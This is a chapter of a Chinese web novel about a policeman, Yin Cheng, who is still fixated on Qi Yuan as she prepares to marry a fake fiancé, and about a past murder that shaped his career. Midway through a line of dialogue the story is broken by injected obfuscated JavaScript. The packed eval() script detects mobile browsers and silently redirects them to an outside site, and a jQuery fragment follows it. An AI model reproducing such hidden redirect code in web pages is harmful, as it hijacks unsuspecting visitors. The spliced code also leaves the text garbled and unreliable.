祈愿姑妈的酒楼,大型宴席都在二三楼。
收银台设置在二楼大厅。
印城上去时,意料之中,看到姑妈正在柜台里站着,有食客在跟她磋商细节。
他停在楼梯口,等食客忙完,提纸袋走过去。
“你好,有什么需要?”姑妈正看账本,余光瞄到一道高大身影,随口问了一声。
那道身影却不像一般食客慌张或者感到无助,有条不紊地站在柜台前,忽然,提起一个纸袋,放到她面前。
“听说您腱鞘炎犯了,这是朋友从国外带回来的,我和局里同事用着挺好,您试试,有效果跟我说,后续给您再送一些。”
沉稳且诚恳的年轻男音,像一道缓慢响起的乐曲,张弛有度,不卑不亢。
姑妈在听到他第一句时,眸光就顿了,停在账面上,却没看清一个字。
她抬起头。
不是印城又是谁。
谁能这么面面俱到,就从哪里听到她腱鞘炎犯了,又能说话如此滴水不漏?
祈愿姑妈在湾县大小是个人物。
十几岁时叛逆混社会,摘得县城城花名号。
二十岁不到,唯一的哥哥和嫂子车祸去世,她回归家庭,抚养五岁多的祈愿。
一路过关斩将,不但没叫祁家绝后,还盘活整个家族经济,手腕雷霆。
一般小年轻跟她说话都打怵。
眼前的年轻人却是个例外。
印城眼眸漆黑如墨,对着长辈,恭敬而不卑微,礼貌又不生疏。
严格来说,是祈愿姑妈有点怕他。
怕他的百折不挠。
“今天怎么有空过来。”姑妈叹息一声问。
“请了年假,”印城声音缓慢,“祈愿最近要办婚礼,事情肯定多,您有用得着我的地方,尽管打我电话,随时过来帮忙。”
“……”姑妈没法儿接话。
印城说完,颔首致意,“姑妈您忙,我不多留了。”
音落,转身向楼梯口走去。
姑妈看着他背影,忽然开口,“印城。”
印城驻足,但是没有回头。
“我们全家人不同意你和祈愿在一起。”
“早点放手。”
印城点头,表示听到,“您先忙。”再次打了招呼,空着手往下走。
那个装着膏药的纸袋被留在柜台。
祈愿姑妈看着直叹气,她本来不是个轻易叹气的人,但遇到印城,总有些叹不完的遗憾。
……
我们全家人不同意你和祈愿在一起。
这话,印城听了八年。
今晚,莫名有些受不住。
寒风刮脸。
十字路口的热闹与他无关。
来到车前,他要开车,拉开门才发现是副驾,又撞上,调整呼吸从车头绕回去。
到了主驾门边。
他下意识抬头,看顶楼。
她这会儿应该正跟家里人介绍未婚夫……
“未婚夫……”印城低喃着,有些不可置信地悲怆,“太可笑了。”
他梦寐以求的,是别的男人连份见面礼都不必准备的唾手可得。
不可笑吗?
……
祈愿在窗帘后面站着。
楼下广场上,印城两手撑着车门,低头反复控制情绪,大衣摆被寒风吹着,不断打到旁边车子的灰突突门上,染脏了不自知。
想到早上,他在菜市场不断整理衣摆的洁癖样子,这会儿,估计没有心思在意干不干净了。
这是他应得的。
她心想。
回身离开窗口,看见陆与熙从包厢里出来,往二楼去。
她跟在后头,下去看他做什么。
陆与熙的表现还算专业,包厢里一屋子亲戚被他蛊惑,认为他年轻有为,很适合她。
祈愿懒得理有些亲戚的虚情假意,只要能骗过姑妈,一切万事大吉。
姑妈在二楼忙生意,还没有上来。
祈愿看着陆与熙找到二楼,跟姑妈自来熟一样聊起来。
说他的身世,和她一样早早父母双亡,家中关系简单,结婚了一切都是夫妻俩做主,没人能强求。
“她是丁克,你也同意?”姑妈语气不确定。
陆与熙一笑,声音真诚,“这个家,就她说了算,不要孩子,我巴不得呢!”
“养小孩,是挺麻烦。”姑妈听上去是满意了。
祈愿松了一口气,正打算回包厢,相信陆与熙能独自应付姑妈后,姑妈忽然提到那人名字。
“你觉得印城怎么样?”
祈愿脚步一顿,靠在那堵墙后,暂时不走了。
“……挺厉害。”陆与熙思考了几秒,给出答案。
下一秒,又暴露心性,“家里挺有钱啊,手上表很贵!”
姑妈笑,“钱对于印家人就是一个数字,没有意义,我问的是,你觉得他对祈愿怎么样?”
“非常好,好到我吃醋。”
“小心他挖你墙角。”
“不可能,我们没几天就要结婚了!”
“有什么不可能?”姑妈语气严肃,“你知道他,往我们家送了多少礼吗?”
“多少?”陆与熙笑闹,“总不能几百万吧!”
“你这孩子,怎么不懂呢,不是多少钱的事,是那份心,从祈愿上大学第一年,连续八年,一年三节,端午、中秋、春节,从不间断,一开始我全部扔掉,后来,转送到孤儿院,够几十个孩子吃上大半年……以他的偏执,会在乎祈愿结不结婚吗?”
“我该怎么做……”陆与熙开始求教。
姑妈忠告,“别被他抓到把柄。”
陆与熙连连应是。
祈愿离开二楼,上到顶楼,刚才站着的窗边,此时往下看,他已经不在了,那个被他停过的车位空着……
像祈愿此时,心底某处空落落的一块。
……
“我怎么听说祈愿要结婚了?”申东源下了班,直奔城楼酒馆。
这是他们的老根据地。
印城不常来,这几年他很少社交,要不是这次祈愿回来,他根本不可能大晚上买醉。
他之前有点时间就琢磨着怎样当一个好警察。
毕业几年,印城晋升最快,跟他投入大量私人时间有重要关系。
祈愿一回来,他节奏就乱了。
印城坐在桌前,菜没动,酒去了大半,窗外是幽暗的小河,他盯着河面,眼眶通红,“谁告诉你
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116650|195839||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的?”
“邓予枫私下说的,说不敢跟其他人说,怕别人守不住秘密。”
“你相信吗,”印城挫败地笑,“还剩十五天,她就结婚了。”
“男方一定很优秀,”申东源安慰,“不然,祈愿看不上。”
印城红着眼摇头笑,“第一次上门,连见面礼都没带,优秀在哪里?”
“这么马虎?”申东源皱眉,“兴许是来不及,有事耽误。”
“她在糟蹋自己。”
“……”
“在朝我示威。”
“没有人会拿婚姻大事开玩笑,”申东源劝,“你还是放手吧。”
印城仰头将杯子里酒喝尽。
猛地放下空杯。
眼底通红,语气清醒着,“还记得,我们为什么做警察吗?”
申东源很乐意跟他聊祈愿以外的事,眼神回忆着,“还不是高三那年,发生的那件事。”
“那件事……”印城苦笑接话,“你,我,加邓予枫卓翼,四个都当了警察,杨梵去了法院,咱们都跟政法系统相关……”
“是一件改变咱们人生志向的事情。”申东源回忆着八年前那件事,“当时全校震动,好多男生都气愤哭了。”
那件事。
发生在高三上学期。
学校小卖部老板家的十七岁女儿惨死,尸体被发现时,肠子被扯出体外,饶成圈挂在脖子上……
“那女孩咱都认识,经常帮她父母守店,那时候我家条件不好,有次买笔钱不够,她给我赊账,你听过吗,买支笔还能赊账。”
“多好的姑娘,活着的话,比咱们小一岁。”
“这么多年,杨梵每年还去看她父母。”
“咱们几个当警察,都因为她。”
“我不是。”印城眼眶红着,明明有笑意,却狼狈至极,“我因为,其他原因,当的警察。”
“这是你第一次,提你当警察的原因。到底因为什么?”只要不聊祈愿,申东源愿意陪他聊到天亮。
印城却忽然不聊了,改一杯又一杯的倒酒喝酒。
“你真别这样,”申东源劝,“有什么难受的,你说出来,我过来就是听你倒苦水,而不是看你喝酒。”
“祈恒的事怎么样了?”放下酒杯,印城提起今晚叫申东源过来的目的。
“法律上,没他事。就是他喜欢的姑娘不喜欢他,还让他替自己男朋友顶罪,这个事,对他打击比较大。”
“他会撑过去的。”印城红着眼笑,“挺机灵的孩子,会想开。”
“你能想开吗?”申东源还是没忍住,“连小孩子都知道及时止损,你一个成年人还比不上小孩子?”
“东源,”印城难堪的笑音,“我闯的祸,可比祈恒大,他是被冤枉,而我确实该死。”
音落,眼底沁出泪光。
那年冬天,死去的何止那个小卖部姑娘啊,还有祈愿……
雪夜暗巷,她的血与土壤冻在一起,开春才化。
这才是印城当警察的原因。
“印城……”申东源眼神不可思议。
古老的城楼静默,酒馆外夜寒雾重。
小窗对着暗涌的河水。
印城伏在桌面,压抑着声痛哭不止。